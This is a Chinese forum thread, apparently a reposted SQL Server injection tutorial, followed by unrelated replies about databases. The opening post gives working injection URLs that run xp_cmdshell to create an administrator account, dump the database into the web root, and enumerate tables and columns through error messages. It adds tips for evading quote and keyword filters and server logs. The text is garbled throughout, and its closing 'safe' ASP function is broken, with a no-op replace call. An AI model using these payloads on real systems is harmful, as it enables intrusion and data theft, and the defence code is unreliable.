仓酷云

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 559|回复: 8
打印 上一主题 下一主题

[学习教程] MSSQL网站制作之收集SQL进侵与提防初级篇

[复制链接]
再见西城 该用户已被删除
跳转到指定楼层
楼主
发表于 2015-1-16 22:21:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
Memory所有数据置于内存的存储引擎,拥有极高的插入,更新和查询效率。但是会占用和数据量成正比的内存空间。并且其内容会在Mysql重新启动时丢失 第一节、使用体系表注进SQLServer数据库  SQLServer是一个功效壮大的数据库体系,与操纵体系也有严密的接洽,这给开辟者带来了很年夜的便利,但另外一方面,也为注进者供应了一个跳板,我们先来看看几个详细的例子:
  ①http://Site/url.asp?id=1;execmaster..xp_cmdshell“netusernamepassword/add”--
  分号;在SQLServer中暗示离隔前后两句语句,--暗示前面的语句为正文,以是,这句语句在SQLServer中将被分红两句实行,先是Select出ID=1的纪录,然后实行存储历程xp_cmdshell,这个存储历程用于挪用体系命令,因而,用net命令新建了用户名为name、暗码为password的windows的帐号,接着:
  ②http://Site/url.asp?id=1;execmaster..xp_cmdshell“netlocalgroupnameadministrators/add”--
  将新建的帐号name到场办理员组,不必两分钟,你已拿到了体系最高权限!固然,这类办法只合用于用sa毗连数据库的情形,不然,是没有权限挪用xp_cmdshell的。
  ③http://Site/url.asp?id=1;;;anddb_name()>0
  后面有个相似的例子anduser>0,感化是猎取毗连用户名,db_name()是另外一个体系变量,前往的是毗连的数据库名。
  ④http://Site/url.asp?id=1;backupdatabase数据库名todisk=’c:inetpubwwwroot1.db’;--
  这是相称狠的一招,从③拿到的数据库名,加上某些IIS堕落表露出的相对路径,将数据库备份到Web目次上面,再用HTTP把全部数据库就完完全整的下载返来,一切的办理员及用户暗码都一览无遗!在不晓得相对路径的时分,还能够备份到收集地点的办法(如202.96.xx.xxShare1.db),但乐成率不高。
  ⑤http://Site/url.asp?id=1;;;and(SelectTop1namefromsysobjectswherextype=’U’andstatus>0)>0
  后面说过,sysobjects是SQLServer的体系表,存储着一切的表名、视图、束缚及别的工具,xtype=’U’andstatus>0,暗示用户创建的表名,下面的语句将第一个表名掏出,与0对照巨细,让报错信息把表名表露出来。第2、第三个表名怎样猎取?仍是留给我们伶俐的读者思索吧。
  ⑥http://Site/url.asp?id=1;;;and(SelectTop1col_name(object_id(‘表名’),1)fromsysobjects)>0
  从⑤拿到表名后,用object_id(‘表名’)猎取表名对应的外部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就能够逐一猎取所猜解内外面的字段名。
  以上6点是我研讨SQLServer注进半年多以来的血汗结晶,能够看出,对SQLServer的懂得水平,间接影响着乐成率及猜解速率。在我研讨SQLServer注进以后,我在开辟方面的程度也失掉很年夜的进步,呵呵,大概平安与开辟原本就是相反相成的吧。
  第二节、绕历程序限定持续注进
  在进门篇提到,有良多人喜好用’号测试注进毛病,以是也有良多人用过滤’号的办法来“避免”注进毛病,这大概能盖住一些进门者的打击,但对SQL注进对照熟习的人,仍是能够使用相干的函数,到达绕历程序限定的目标。
  在“SQL注进的一样平常步骤”一节中,我所用的语句,都是经由我优化,让其不包括有单引号的;在“使用体系表注进SQLServer数据库”中,有些语句包括有’号,我们举个例子来看看怎样改革这些语句:
  复杂的如wherextype=’U’,字符U对应的ASCII码是85,以是能够用wherextype=char(85)取代;假如字符是中文的,好比wherename=’用户’,能够用wherename=nchar(29992)+nchar(25143)取代。
  第三节、履历小结
  1.有些人会过滤Select、Update、Delete这些关头字,但恰恰健忘辨别巨细写,以是人人能够用selecT如许实验一下。
  2.在猜不到字段名时,无妨看看网站上的登录表单,通常是了便利起见,字段名都与表单的输出框取不异的名字。
  3.出格注重:地点栏的+号传进程序后注释为空格,%2B注释为+号,%25注释为%号,详细能够参考URLEncode的相干先容。
  4.用Get办法注进时,IIS会纪录你一切的提交字符串,对Post办法做则不纪录,以是能用Post的网址只管不必Get。
  5.猜解Access时只能用Ascii逐字解码法,SQLServer也能够用这类办法,只必要二者之间的区分便可,可是假如能用SQLServer的报错信息把值表露出来,那效力和正确率会有极年夜的进步。
  第四节、提防办法
  SQL注进毛病可谓是“千里之堤,溃于蚁穴”,这类毛病在网上极其广泛,一般是因为程序员对注进不懂得,大概程序过滤不严厉,大概某个参数健忘反省招致。在这里,我给人人一个函数,取代ASP中的Request函数,能够对统统的SQL注进SayNO,函数以下:

FunctionSafeRequest(ParaName,ParaType)
---传进参数---
ParaName:参数称号-字符型
ParaType:参数范例-数字型(1暗示以上参数是数字,0暗示以上参数为字符)
DimParaValue
ParaValue=Request(ParaName)
IfParaType=1then
IfnotisNumeric(ParaValue)then
Response.write"参数"&ParaName&"必需为数字型!"
Response.end
Endif
Else
ParaValue=replace(ParaValue,"","")
Endif
SafeRequest=ParaValue
Endfunction
支持大型的数据库。可以处理拥有上千万条记录的大型数据库。
老尸 该用户已被删除
沙发
发表于 2015-1-19 09:22:51 | 只看该作者
如果,某一版本可以提供强大的并发响应,但是没有Oracle的相应版本稳定,或者价格较贵,那么,它就是不适合的。
变相怪杰 该用户已被删除
板凳
发表于 2015-1-25 13:49:45 | 只看该作者
始终遗憾SQLServer的登陆无法分配CPU/内存占用等指标数。如果你的SQLServer给别人分配了一个只可以读几个表的权限,而这个家伙疯狂的死循环进行连接查询,会给你的系统带来很大的负担。
分手快乐 该用户已被删除
地板
发表于 2015-2-2 22:19:46 | 只看该作者
分区表效率问题肯定是大家关心的问题。在我的试验中,如果按照分区字段进行的查询(过滤)效率会高于未分区表的相同语句。但是如果按照非分区字段进行查询,效率会低于未分区表的相同语句。
爱飞 该用户已被删除
5#
发表于 2015-2-8 14:15:45 | 只看该作者
相信各位对数据库和怎么样学习数据库都有一些经验和看法,也会有人走了一些弯路总结出自己的经验来,希望大家能把各自的看法和经验拿出来分享,给别人一份帮助,给自己一份快乐
精灵巫婆 该用户已被删除
6#
发表于 2015-2-25 18:40:41 | 只看该作者
每天坚持做不一样的是,认真做笔录,定时复习。一个月你就可以有一定的收获。当然如果你想在sql方面有一定的造诣,你少不了需要看很多很多的书籍了。
透明 该用户已被删除
7#
发表于 2015-3-8 01:30:53 | 只看该作者
习惯敲命令行的朋友可能会爽一些。但是功能有限。适合机器跑不动SQLServerManagementStudio的朋友使用。
8#
发表于 2015-3-22 03:10:34 | 只看该作者
然后最好有实践机会,能够把实践到的和实践结合起来,其实理论思考是个非常困扰和痛苦的事情
小女巫 该用户已被删除
9#
发表于 2015-3-22 03:10:35 | 只看该作者
对一张百万级别的表建游标,同时又没有什么过滤条件,取得游标效率是如果直接SQL查询百万条数据;如果再对每条记录做处理,耗时将更长。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|仓酷云 鄂ICP备14007578号-2

GMT+8, 2024-12-23 04:48

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表